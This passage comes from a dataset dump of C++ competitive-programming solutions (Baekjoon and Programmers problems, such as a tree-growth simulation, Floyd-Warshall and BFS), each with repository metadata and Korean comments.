house[i][j][1];\\n }\\n\\n house[i][j][i] = MAX;\\n break;\\n }\\n\\n house[i][j][0] = min(house[i][j-1][1], house[i][j-1][2]) + house[i][j][0];\\n house[i][j][1] = min(house[i][j-1][0], house[i][j-1][2]) + house[i][j][1];\\n house[i][j][2] = min(house[i][j-1][0], house[i][j-1][1]) + house[i][j][2];\\n }\\n\\n ans = min(ans, *min_element(house[i][n-1], house[i][n-1] + 3));\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.35011184215545654,\n \"alphanum_fraction\": 0.37322893738746643,\n \"avg_line_length\": 22.330434799194336,\n \"blob_id\": \"47097805ede177ee97aae2aa58ee4d5607bebbd5\",\n \"content_id\": \"9865df3b7021dbf770f36668d9871169df9a90c3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2778,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 115,\n \"path\": \"/BOJ/Implementation/16235.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 16235번: 나무 재테크\\nDATE: 2022-02-09\\nImplementation\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 11\\nusing namespace std;\\n\\nint n, m, k;\\nint addition[MAX][MAX]; // 추가할 양분의 양\\nint nutrient[MAX][MAX]; // 해당 칸에 존재하는 양분의 양\\nvector<int> ground[MAX][MAX]; // 해당 칸에 존재하는 나무의 나이\\nvector<pair<pair<int,int>, int>> death; // 죽은 나무의 위치와 나이\\n\\nvoid spring(){\\n for(int i = 1 ; i <= n ; i++) {\\n for(int j = 1 ; j <= n ; j++){\\n sort(ground[i][j].begin(), ground[i][j].end());\\n\\n for(int k = 0 ; k < ground[i][j].size() ; k++){\\n if(nutrient[i][j] >= ground[i][j][k]) {\\n nutrient[i][j] -= ground[i][j][k];\\n ground[i][j][k] += 1;\\n }\\n else {\\n death.push_back({{i, j}, ground[i][j][k]});\\n ground[i][j].erase(ground[i][j].begin() + k);\\n k--;\\n }\\n }\\n }\\n }\\n}\\n\\nvoid summer(){\\n if(death.empty()) return;\\n \\n for(int i = 0 ; i < death.size() ; i++) {\\n int x = death[i].first.first;\\n int y = death[i].first.second;\\n int add = death[i].second / 2;\\n nutrient[x][y] += add;\\n }\\n\\n death.clear();\\n}\\n\\nvoid autumn(){ \\n int dx[8] = {-1, -1, 0, 1, 1, 1, 0, -1};\\n int dy[8] = {0, 1, 1, 1, 0, -1, -1, -1};\\n\\n for(int i = 1 ; i <= n ; i++) {\\n for(int j = 1 ; j <= n ; j++){\\n for(int k = 0 ; k < ground[i][j].size() ; k++){\\n if(ground[i][j][k] % 5 == 0) {\\n for(int l = 0 ; l < 8 ; l++) {\\n int nx = dx[l] + i;\\n int ny = dy[l] + j;\\n\\n if(nx < 1 || ny < 1 || nx > n || ny > n) continue;\\n ground[nx][ny].push_back(1);\\n }\\n }\\n }\\n }\\n }\\n}\\n\\nvoid winter(){\\n for(int i = 1 ; i <= n ; i++) {\\n for(int j = 1 ; j <= n ; j++) {\\n nutrient[i][j] += addition[i][j];\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int x, y, z;\\n int ans = 0;\\n\\n cin >> n >> m >> k;\\n\\n for(int i = 1 ; i <= n ; i++) {\\n for(int j = 1 ; j <= n ; j++) {\\n cin >> addition[i][j];\\n nutrient[i][j] = 5;\\n }\\n }\\n\\n for(int i = 0 ; i < m ; i++) {\\n cin >> x >> y >> z;\\n ground[x][y].push_back(z);\\n }\\n\\n while(k--){\\n spring();\\n summer();\\n autumn();\\n winter();\\n }\\n\\n for(int i = 1 ; i <= n ; i++) {\\n for(int j = 1 ; j <= n ; j++){\\n ans += ground[i][j].size();\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41727495193481445,\n \"alphanum_fraction\": 0.44525548815727234,\n \"avg_line_length\": 21.243244171142578,\n \"blob_id\": \"bae58b6577a56766061f5ef08d8771a4cc5f7dcb\",\n \"content_id\": \"0102faa7e14be304fa27a90aa0ef0efe17b4a860\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 834,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 37,\n \"path\": \"/BOJ/Implementation/9935.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9935번: 문자열 폭발\\nDATE: 2021-03-22\\n*/\\n#include <iostream>\\n#include <string>\\nusing namespace std;\\n\\n int main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str, bomb, ans=\\\"\\\";\\n int cnt=0;\\n cin >> str >> bomb;\\n\\n for(int i = 0 ; i < str.length() ; i++){\\n ans += str[i];\\n if(str[i] == bomb[bomb.length()-1]){\\n int ansIdx = ans.length()-1;\\n int bombIdx = bomb.length()-1;\\n\\n for(int j = bomb.length() ; j > 0 ; j--){\\n if(ans[ansIdx--] == bomb[bombIdx--]) cnt++;\\n }\\n \\n if(cnt == bomb.length()){\\n ans.erase(ans.length()-bomb.length(), bomb.length());\\n }\\n\\n cnt = 0;\\n }\\n }\\n\\n if(ans == \\\"\\\") cout << \\\"FRULA\\\";\\n else cout << ans;\\n\\n return 0;\\n }\"\n },\n {\n \"alpha_fraction\": 0.3503575026988983,\n \"alphanum_fraction\": 0.3901940882205963,\n \"avg_line_length\": 21.272727966308594,\n \"blob_id\": \"758f6c32de9577bfc88cf4d9778ebd0760d414e3\",\n \"content_id\": \"d0abd6fa105465b8aa335158ce5606130cc44452\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1017,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 44,\n \"path\": \"/BOJ/Graph Theory/11404.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11404번: 플로이드\\nDATE: 2021-04-12\\nUPDATE: 2022-03-04\\nFloyd-Warshall Algorithm\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define INF 1e9\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m;\\n cin >> n >> m;\\n\\n int arr[n+1][n+1];\\n fill(&arr[0][0], &arr[n][n + 1], INF);\\n\\n for(int i = 0 ; i < m ; i++){\\n int a, b, c;\\n cin >> a >> b >> c;\\n arr[a][b] = min(arr[a][b], c);\\n }\\n\\n for(int k = 1 ; k <= n ; k++){ //거쳐가는 노드\\n for(int i = 1 ; i <= n ; i++){ //출발 노드\\n for(int j = 1 ; j <= n ; j++){ //도착 노드\\n if(arr[i][k] + arr[k][j] < arr[i][j])\\n arr[i][j] = arr[i][k] + arr[k][j];\\n }\\n }\\n }\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n if(i == j || arr[i][j] == INF) cout << 0 << \\\" \\\";\\n else cout << arr[i][j] << \\\" \\\";\\n }\\n cout << \\\"\\\\n\\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4182879328727722,\n \"alphanum_fraction\": 0.4785992205142975,\n \"avg_line_length\": 12.20512866973877,\n \"blob_id\": \"c2a5f56e5db2e66c9d23c61865361a447fc7e814\",\n \"content_id\": \"917b8b7c0478120aa44eabb7c90c95c892ea4b1c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 522,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 39,\n \"path\": \"/BOJ/Brute Force/2231.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2231번: 분해합\\n2021-05-18\\nBrute Force\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define MAX 1000001\\nusing namespace std;\\n\\nint f(int num){\\n int sum = num;\\n\\n while (num != 0) {\\n\\t\\tsum += num % 10;\\n\\t\\tnum = num / 10;\\n\\t}\\n\\n\\treturn sum;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n cin >> n;\\n\\n for(int i = 1 ; i < n ; i++){\\n int num = f(i);\\n\\n if(num == n){\\n cout << i;\\n return 0;\\n }\\n }\\n\\n cout << 0;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3429228961467743,\n \"alphanum_fraction\": 0.39355581998825073,\n \"avg_line_length\": 16.399999618530273,\n \"blob_id\": \"40015985d17543c0d964fba9c8f884f0cd5309d6\",\n \"content_id\": \"8925d587c897b045e39d80cb17d29be089b10a39\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 879,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 50,\n \"path\": \"/BOJ/BFS_DFS/1697.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"WINDOWS-1252\",\n \"text\": \"/*\\nBOJ 1697¹ø: ¼û¹Ù²ÀÁú\\nDATE: 2021-01-20\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#define MAX 100001\\n\\nusing namespace std;\\n\\nint sec[MAX] = { 0, };\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n int n, k, ans;\\n int move[] = { -1, 1, 2 };\\n queue <int> q;\\n\\n cin >> n >> k;\\n\\n sec[n] = 1;\\n q.push(n);\\n\\n while (!q.empty()) {\\n int cur = q.front();\\n q.pop();\\n\\n if (cur == k) {\\n cout << sec[cur] - 1;\\n break;\\n }\\n\\n int next;\\n for (int i = 0; i < 3; i++) {\\n if (i == 0 || i == 1)\\n next = cur + move[i];\\n else\\n next = cur * move[i];\\n\\n if (next >= 0 && next <= 100000 && !sec[next]) {\\n q.push(next);\\n sec[next] = sec[cur] + 1;\\n }\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3130003809928894,\n \"alphanum_fraction\": 0.3492184579372406,\n \"avg_line_length\": 23.754716873168945,\n \"blob_id\": \"0a948012662371fe3ffef19bca81e36741803039\",\n \"content_id\": \"c33aff34613b517b7459048f73a92c1824558f1f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2653,\n \"license_type\": \"no_license\",\n \"max_line_length\": 99,\n \"num_lines\": 106,\n \"path\": \"/BOJ/Implementation/21610.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 21610번: 마법사 상어와 비바라기\\nDATE: 2022-03-14\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint n, m, ans;\\nint arr[51][51];\\nvector<pair<int,int>> cloud, mv_cloud;\\nint dr[8] = {0, -1, -1, -1, 0, 1, 1, 1};\\nint dc[8] = {-1, -1, 0, 1, 1, 1, 0, -1};\\nint diagonalR[4] = {-1, -1, 1, 1};\\nint diagonalC[4] = {-1, 1, 1, -1};\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int d, s;\\n cin >> n >> m;\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n cin >> arr[i][j];\\n }\\n }\\n\\n cloud.push_back({n - 1, 1});\\n cloud.push_back({n - 1, 2});\\n cloud.push_back({n, 1});\\n cloud.push_back({n, 2});\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> d >> s;\\n\\n for(int j = 0 ; j < cloud.size() ; j++){ // 1번\\n int r = cloud[j].first;\\n int c = cloud[j].second;\\n int nr, nc;\\n\\n for(int k = 0 ; k < s ; k++){\\n if(r == 1 && r + dr[d - 1] == 0) nr = n;\\n else if(r == n && r + dr[d - 1] == n + 1) nr = 1;\\n else nr = r + dr[d - 1];\\n\\n if(c == 1 && c + dc[d - 1] == 0) nc = n;\\n else if(c == n && c + dc[d - 1] == n + 1) nc = 1;\\n else nc = c + dc[d - 1];\\n\\n r = nr;\\n c = nc;\\n }\\n\\n mv_cloud.push_back({r, c});\\n }\\n\\n // 2번\\n for(int j = 0 ; j < mv_cloud.size() ; j++) arr[mv_cloud[j].first][mv_cloud[j].second] += 1;\\n\\n // 4번\\n for(int j = 0 ; j < mv_cloud.size() ; j++){\\n int r = mv_cloud[j].first;\\n int c = mv_cloud[j].second;\\n int cnt = 0;\\n\\n for(int k = 0 ; k < 4 ; k++){\\n int nr = r + diagonalR[k];\\n int nc = c + diagonalC[k];\\n\\n if(nr == 0 || nc == 0 || nr == n + 1 || nc == n + 1) continue;\\n if(arr[nr][nc] > 0) cnt++;\\n }\\n\\n arr[r][c] += cnt;\\n }\\n\\n cloud.clear();\\n\\n // 5번\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n if(arr[i][j] > 1) {\\n pair<int,int> p = {i, j};\\n\\n if(find(mv_cloud.begin(), mv_cloud.end(), p) == mv_cloud.end()){\\n cloud.push_back({i, j});\\n arr[i][j] -= 2;\\n }\\n }\\n }\\n }\\n\\n mv_cloud.clear();\\n }\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n ans += arr[i][j];\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4146501123905182,\n \"alphanum_fraction\": 0.43100064992904663,\n \"avg_line_length\": 18.615385055541992,\n \"blob_id\": \"6a7b471e06f22d2b05e600c4b097750e3c5dbb10\",\n \"content_id\": \"fed979febba4d8acaf2baf6c1ab21c1bf91d194f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1537,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 78,\n \"path\": \"/BOJ/Graph Theory/14725.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14725번: 개미굴\\nDATE: 2021-07-05\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nstruct Node{\\n string food;\\n vector<Node> children;\\n};\\n\\nNode head;\\nNode* cur;\\n\\nbool cmp(Node a, Node b){\\n return a.food < b.food;\\n}\\n\\nbool check(string str){\\n for(int k = 0 ; k < cur->children.size() ; k++){\\n if(cur->children[k].food == str){\\n cur = &(cur->children[k]);\\n return true;\\n }\\n }\\n\\n return false;\\n}\\n\\nvoid print(Node node, int depth){\\n if(node.food != \\\"\\\"){\\n for(int i = 0 ; i < depth ; i++){\\n cout << \\\"--\\\";\\n }\\n cout << node.food << '\\\\n';\\n }\\n\\n for(int i = 0 ; i < node.children.size() ; i++){\\n print(node.children[i], depth+1);\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str;\\n int n, k;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n int k;\\n cin >> k;\\n \\n cur = &head;\\n\\n for(int j = 0 ; j < k ; j++){\\n cin >> str;\\n if(!check(str)){\\n Node node;\\n node.food = str;\\n cur->children.push_back(node);\\n\\n sort(cur->children.begin(), cur->children.end(), cmp);\\n for(int k = 0 ; k < cur->children.size() ; k++){\\n if(cur->children[k].food == str){\\n cur = &cur->children[k];\\n }\\n }\\n }\\n }\\n }\\n \\n print(head, -1);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41980475187301636,\n \"alphanum_fraction\": 0.4686192572116852,\n \"avg_line_length\": 16.095237731933594,\n \"blob_id\": \"ad13ca81378801cdf6f273ee6465746a0423d379\",\n \"content_id\": \"4ee4322defebac5fdea8f0e5e0d5b5ffdd63912b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 731,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 42,\n \"path\": \"/BOJ/Two Pointer/14921.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14921번: 용액 합성하기\\nDATE: 2022-01-17\\nTwo pointer\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<int> v, ans(2);\\n int n, num;\\n int start, end, min;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> num;\\n v.push_back(num);\\n }\\n\\n start = 0; end = n - 1;\\n min = 100000001;\\n\\n while(start < end){\\n int sum = v[start] + v[end];\\n\\n if(abs(sum) < min){\\n ans[0] = v[start];\\n ans[1] = v[end];\\n min = abs(sum);\\n }\\n\\n if(sum < 0) start++;\\n else end--;\\n }\\n\\n cout << ans[0] + ans[1];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.37403401732444763,\n \"alphanum_fraction\": 0.41112828254699707,\n \"avg_line_length\": 18.636363983154297,\n \"blob_id\": \"bfe6e8ab81d38a0e07137e59f3fed4e21fa7f9ac\",\n \"content_id\": \"e2593633bc67853e87597cca46f6329cd55dda7d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 655,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 33,\n \"path\": \"/BOJ/Brute Force/2798.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2798번: 블랙잭\\n2021-05-18\\nBrute Force\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, sum, maximum = -1;\\n cin >> n >> m;\\n\\n int arr[n];\\n\\n for(int i = 0 ; i < n ; i++) cin >> arr[i];\\n\\n for(int i = 0 ; i < n-2 ; i++){\\n for(int j = i + 1 ; j < n-1 ; j++){\\n for(int k = j + 1 ; k < n ; k++){\\n sum = arr[i] + arr[j] + arr[k];\\n if(sum <= m && sum > 0){\\n maximum = max(sum, maximum);\\n }\\n }\\n }\\n }\\n\\n cout << maximum;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3739902973175049,\n \"alphanum_fraction\": 0.394991934299469,\n \"avg_line_length\": 20,\n \"blob_id\": \"d8572b8701de9f9cb0ca9c84789f47cc084cb925\",\n \"content_id\": \"7bede70cfdd65867c982b9c319c87b812134155a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1314,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 59,\n \"path\": \"/BOJ/Implementation/1039.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1039번: 교환\\nDATE: 2021-10-16\\n*/\\n#include <iostream>\\n#include <queue>\\n#include <set>\\nusing namespace std;\\n\\nvoid swap(string &str, int left, int right){\\n char tmp = str[left];\\n str[left] = str[right];\\n str[right] = tmp;\\n}\\n\\nint main(){\\n queue<string> q;\\n int n, k, ans = -1;\\n cin >> n >> k;\\n\\n q.push(to_string(n));\\n\\n for(int i = 0 ; i < k ; i++){ \\n set<string> s; \\n int qsz = q.size();\\n\\n for(int j = 0 ; j < qsz ; j++){\\n string cur = q.front();\\n q.pop();\\n\\n if(s.count(cur) > 0) continue; //set에 존재하면 패스 (중복 제거) \\n else(s.insert(cur));\\n\\n for(int s = 0 ; s < cur.length() ; s++){ //left\\n for(int e = s + 1 ; e < cur.length() ; e++){ //right\\n if(!(s == 0 && cur[e] == '0')){ //바꾼 수가 0으로 시작하면 안되므로\\n swap(cur, s, e);\\n q.push(cur);\\n swap(cur, s, e); // 원래대로\\n }\\n }\\n }\\n }\\n }\\n\\n while(!q.empty()){\\n int num = stoi(q.front());\\n ans = max(ans, num);\\n q.pop();\\n }\\n\\n if(ans < 10) //0으로 시작할 때\\n cout << -1;\\n else\\n cout << ans;\\n\\n return 0;\\n \\n}\"\n },\n {\n \"alpha_fraction\": 0.4372217357158661,\n \"alphanum_fraction\": 0.4772929549217224,\n \"avg_line_length\": 19.071428298950195,\n \"blob_id\": \"8433145fa7ab3fd9a1dca9a017c975ba59f03fb1\",\n \"content_id\": \"3e1d67e58867dca70becbb7e29e9e0c53121329a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1131,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 56,\n \"path\": \"/BOJ/Brute Force/2529.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2529번: 부등호\\nDATE: 2021-03-04\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 10\\nusing namespace std;\\n\\nint k;\\nint num[MAX] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\\nvector <int> maxNum, minNum;\\nchar arr[9];\\n\\nint check(vector<int> &v){\\n for(int i = 0 ; i < k ; i++){\\n if(arr[i] == '<' && v[i] > v[i+1]) return 1;\\n else if(arr[i] == '>' && v[i] < v[i+1]) return 1;\\n }\\n return 0;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> k;\\n\\n for(int i = 0 ; i < k ; i++) cin >> arr[i];\\n\\n//max\\n for(int i = 9 ; i >= 9-k ; i--) maxNum.push_back(i);\\n\\n while(1){\\n if(check(maxNum)){\\n prev_permutation(maxNum.begin(), maxNum.end());\\n }\\n else break;\\n }\\n\\n//min\\n for(int i = 0 ; i <= k ; i++) minNum.push_back(i);\\n\\n while(1){\\n if(check(minNum)){\\n next_permutation(minNum.begin(), minNum.end());\\n }\\n else break;\\n }\\n\\n for(int i = 0 ; i < k+1 ; i++) cout << maxNum[i];\\n cout << '\\\\n';\\n for(int i = 0 ; i < k+1 ; i++) cout << minNum[i];\\n cout << '\\\\n';\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4058624505996704,\n \"alphanum_fraction\": 0.4239007830619812,\n \"avg_line_length\": 23,\n \"blob_id\": \"df1af5f747b698754efb0ad21ec1a2944ae9086c\",\n \"content_id\": \"0cecfd062e065627474828afaa00cc00aeccdb76\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 897,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 37,\n \"path\": \"/programmers/Level 2/string_compression.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers level 2: 문자열 압축\\ndate: 2022-04-11\\n*/\\n#include <string>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint solution(string s) {\\n int minVal = s.length(); \\n \\n for(int i = 1 ; i <= s.length() / 2 ; i++){\\n string left, res;\\n int cnt = 0;\\n \\n for(int j = 0 ; j <= s.length() ; j += i){\\n string right = s.substr(j, i);\\n \\n if(left == right) cnt++;\\n else if(cnt > 0){\\n string tmp = to_string(cnt + 1) + left;\\n right.length() >= i ? res += tmp : res += tmp + right;\\n \\n cnt = 0;\\n } \\n else right.length() == i ? res += left : res += left + right;\\n \\n left = right;\\n }\\n \\n int leng = res.length();\\n minVal = min(minVal, leng);\\n }\\n \\n return minVal;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4382871389389038,\n \"alphanum_fraction\": 0.4609571695327759,\n \"avg_line_length\": 20.672727584838867,\n \"blob_id\": \"6e55b08ffd8714e647e85acbb9c6eb7b5f9f4d78\",\n \"content_id\": \"d807be0990b8011a865dbe2b8f9a715f0b420679\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1233,\n \"license_type\": \"no_license\",\n \"max_line_length\": 66,\n \"num_lines\": 55,\n \"path\": \"/BOJ/Two Pointer/2831.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2831번: 댄스 파티\\nDATE: 2022-02-10\\nTwo pointer\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<int> posM, negM, posW, negW;\\n int n, height;\\n int a, b, ans = 0;\\n cin >> n;\\n\\n for(int i = 0 ; i < n * 2 ; i++) {\\n cin >> height;\\n\\n if(height < 0 && i < n) negM.push_back(abs(height));\\n else if(height > 0 && i < n) posM.push_back(height);\\n else if(height < 0 && i >= n) negW.push_back(abs(height));\\n else if(height > 0 && i >= n) posW.push_back(height);\\n }\\n\\n sort(negM.begin(), negM.end());\\n sort(posM.begin(), posM.end());\\n sort(negW.begin(), negW.end());\\n sort(posW.begin(), posW.end());\\n\\n // 남자 양수 - 여자 음수\\n a = 0; b = 0;\\n while(a < posM.size() && b < negW.size()) {\\n if(posM[a] < negW[b]) {\\n ans++;\\n a++; b++;\\n }\\n else b++;\\n }\\n\\n // 남자 음수 - 여자 양수\\n a = 0; b = 0;\\n while(a < negM.size() && b < posW.size()) {\\n if(negM[a] > posW[b]) {\\n ans++;\\n a++; b++;\\n }\\n else a++;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5106732249259949,\n \"alphanum_fraction\": 0.5418719053268433,\n \"avg_line_length\": 18.677419662475586,\n \"blob_id\": \"d94b84ee17db37425fdeb9378c7970e5a473f854\",\n \"content_id\": \"c6f8ca30e3adc942e0b522c89d90694a3579a29d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 621,\n \"license_type\": \"no_license\",\n \"max_line_length\": 86,\n \"num_lines\": 31,\n \"path\": \"/BOJ/Implementation/10814.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 10814번: 나이순 정렬\\n2022-01-15\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nbool cmp(pair<int,string> a, pair<int,string> b) {\\n return a.first < b.first;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<pair<int,string>> vec;\\n int n, age;\\n string name;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> age >> name;\\n vec.push_back({age, name});\\n }\\n\\n stable_sort(vec.begin(), vec.end(), cmp);\\n\\n for(int i = 0 ; i < n ; i++) cout << vec[i].first << \\\" \\\" << vec[i].second << '\\\\n';\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3915243446826935,\n \"alphanum_fraction\": 0.4218848943710327,\n \"avg_line_length\": 20.671232223510742,\n \"blob_id\": \"82c3d12629a336f3d8d876c9200c812127b318c4\",\n \"content_id\": \"b11da7b506f72d5da3796f59b113816bf98b728b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1643,\n \"license_type\": \"no_license\",\n \"max_line_length\": 103,\n \"num_lines\": 73,\n \"path\": \"/programmers/Level 2/check_the_distance.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 거리두기 확인하기\\n2021-10-26\\n2021 카카오 채용연계형 인턴십\\n*/\\n#include <string>\\n#include <vector>\\n#include <iostream>\\n#include <string.h>\\nusing namespace std;\\n\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\nbool visited[5][5];\\nbool flag;\\nvector<string> place;\\n\\nvoid dfs(int x, int y, int depth) {\\n if(depth > 2) { \\n return;\\n }\\n \\n visited[x][y] = true;\\n \\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n \\n if(nx < 0 || ny < 0 || nx >= 5 || ny >= 5 || visited[nx][ny] || place[nx][ny] == 'X') continue;\\n if(place[nx][ny] == 'P' && depth < 2) { // 거리 2 이하에 사람 있으면 안됨\\n flag = false;\\n return;\\n }\\n dfs(nx, ny, depth + 1);\\n }\\n}\\n\\nbool func() {\\n for(int i = 0 ; i < 5 ; i++) {\\n for(int j = 0 ; j < 5 ; j++) {\\n if(place[i][j] == 'P') {\\n flag = true;\\n memset(visited, false, sizeof(visited));\\n dfs(i, j, 0);\\n if(!flag) return false;\\n }\\n }\\n }\\n \\n return true;\\n}\\n\\nvector<int> 